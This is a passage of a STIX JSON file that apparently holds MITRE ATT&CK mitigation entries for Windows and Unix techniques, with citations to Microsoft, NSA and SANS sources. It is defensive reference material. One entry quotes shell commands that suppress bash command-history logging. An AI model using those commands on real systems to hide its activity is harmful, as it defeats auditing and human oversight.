            "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "external_id": "T1015",
                    "url": "https://attack.mitre.org/mitigations/T1015",
                    "source_name": "mitre-attack"
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                    "description": "Microsoft. (n.d.). Configure Network Level Authentication for Remote Desktop Services Connections. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc732713.aspx"
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                    "source_name": "TechNet RDP Gateway",
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                    "url": "https://technet.microsoft.com/en-us/library/cc731150.aspx"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
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                {
                    "external_id": "T1087",
                    "url": "https://attack.mitre.org/mitigations/T1087",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077",
                    "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.",
                    "source_name": "UCF STIG Elevation Account Enumeration"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            ],
            "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "name": "Account Discovery Mitigation",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97",
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            "created": "2018-10-17T00:14:20.652Z",
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            "created": "2019-06-11T16:32:21.854Z",
            "modified": "2019-06-13T16:07:21.233Z",
            "type": "course-of-action",
            "id": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c",
            "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.",
            "name": "Account Use Policies",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1036",
                    "url": "https://attack.mitre.org/mitigations/M1036"
                }
            ],
            "object_marking_refs": [
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        },
        {
            "id": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.",
            "name": "Active Directory Configuration",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1015",
                    "url": "https://attack.mitre.org/mitigations/M1015"
                }
            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "type": "course-of-action",
            "modified": "2020-05-29T16:34:40.344Z",
            "created": "2019-06-06T16:39:58.291Z",
            "x_mitre_version": "1.1"
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            "id": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9",
            "description": "Use signatures or heuristics to detect malicious software.",
            "name": "Antivirus/Antimalware",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1049",
                    "url": "https://attack.mitre.org/mitigations/M1049"
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            ],
            "object_marking_refs": [
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "type": "course-of-action",
            "modified": "2020-03-31T13:07:15.684Z",
            "created": "2019-06-11T17:08:33.055Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppCert DLLs Mitigation",
            "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "external_id": "T1182",
                    "url": "https://attack.mitre.org/mitigations/T1182",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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            ],
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            "type": "course-of-action",
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            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppInit DLLs Mitigation",
            "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "external_id": "T1103",
                    "url": "https://attack.mitre.org/mitigations/T1103",
                    "source_name": "mitre-attack"
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                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "AppleScript Mitigation",
            "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing  (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1155",
                    "external_id": "T1155"
                },
                {
                    "source_name": "applescript signing",
                    "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.",
                    "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/"
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                {
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                    "url": "https://attack.mitre.org/mitigations/T1017",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Application Developer Guidance",
            "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/M1013",
                    "external_id": "M1013"
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            ],
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            "id": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463",
            "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.",
            "name": "Application Isolation and Sandboxing",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "M1048",
                    "url": "https://attack.mitre.org/mitigations/M1048"
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            ],
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
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                    "source_name": "mitre-attack",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "external_id": "T1010",
                    "url": "https://attack.mitre.org/mitigations/T1010",
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "TechNet Applocker vs SRP",
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                    "source_name": "TechNet Applocker vs SRP",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the <code>JobInactivityTimeout</code> and <code>MaxDownloadTime</code> Registry values in <code> HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS</code>. (Citation: Microsoft BITS)",
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                    "url": "https://attack.mitre.org/mitigations/T1197",
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                    "source_name": "Mondok Windows PiggyBack BITS May 2007",
                    "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.",
                    "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/"
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                    "source_name": "Symantec BITS May 2007",
                    "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.",
                    "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update"
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                    "source_name": "Microsoft BITS",
                    "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.",
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            "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
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                    "url": "https://attack.mitre.org/mitigations/M1040"
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            "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.",
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            "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
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                    "url": "https://attack.mitre.org/mitigations/T1009",
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                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
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                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "external_id": "M1046",
                    "url": "https://attack.mitre.org/mitigations/M1046"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Bootkit Mitigation",
            "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1067",
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                    "url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
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                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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                    "source_name": "Technospot Chrome Extensions GP",
                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
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            "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. \nToo strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)\n\nRefer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)\n\nWhere possible, also enable multi factor authentication on external facing services.",
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                    "url": "https://attack.mitre.org/mitigations/T1110",
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                    "source_name": "NIST 800-63-3",
                    "url": "https://pages.nist.gov/800-63-3/sp800-63b.html",
                    "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019."
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                    "source_name": "Github UACMe",
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                    "url": "https://attack.mitre.org/mitigations/T1191",
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            "description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/mitigations/T1042",
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                    "description": "Microsoft. (n.d.). Retrieved July 26, 2016.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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            "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1146",
                    "external_id": "T1146"
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                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
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                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
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            ],
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            "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.",
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            "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)",
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                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
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                {
                    "source_name": "TechNet Trusted Publishers",
                    "description": "Microsoft. (n.d.). Manage Trusted Publishers. Retrieved March 31, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc733026.aspx"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
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                    "external_id": "T1043"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                }
            ],
            "description": "This type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "name": "Compile After Delivery Mitigation",
            "id": "course-of-action--ae56a49d-5281-45c5-ab95-70a1439c338e",
            "type": "course-of-action",
            "modified": "2020-01-17T16:45:24.252Z",
            "created": "2019-04-25T20:53:07.814Z",
            "x_mitre_deprecated": true,
            "x_mitre_version": "1.0"
        },
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            "id": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Compiled HTML File Mitigation",
            "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1223",
                    "external_id": "T1223"
                },
                {
                    "url": "https://live.paloaltonetworks.com/t5/Ignite-2016-Blog/Breakout-Recap-Cybersecurity-Best-Practices-Part-1-Preventing/ba-p/75913",
                    "description": "Kiwi. (2016, April 6). Breakout Recap: Cybersecurity Best Practices Part 1 - Preventing Opportunistic Attacks. Retrieved October 3, 2018.",
                    "source_name": "PaloAlto Preventing Opportunistic Attacks Apr 2016"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-24T14:19:23.148Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Component Firmware Mitigation",
            "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique.\n\nConsider removing and replacing system components suspected of being compromised.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/mitigations/T1109",
                    "external_id": "T1109"
                }
            ],
            "object_marking_refs": [
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            "type": "course-of-action",
            "modified": "2019-07-24T18:10:06.475Z",
            "created": "2018-10-17T00:14:20.652Z",
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            "name": "Component Object Model Hijacking Mitigation",
            "description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1122",
                    "url": "https://attack.mitre.org/mitigations/T1122",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Beechey 2010",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                },
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Corio 2008",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                },
                {
                    "source_name": "TechNet Applocker vs SRP",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
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            "modified": "2020-01-17T16:45:23.056Z",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Control Panel Items Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as <code>C:\\Windows</code>, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)",
            "external_references": [
                {
                    "external_id": "T1196",
                    "url": "https://attack.mitre.org/mitigations/T1196",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "source_name": "Microsoft UAC",
                    "description": "Microsoft. (n.d.). User Account Control. Retrieved January 18, 2018.",
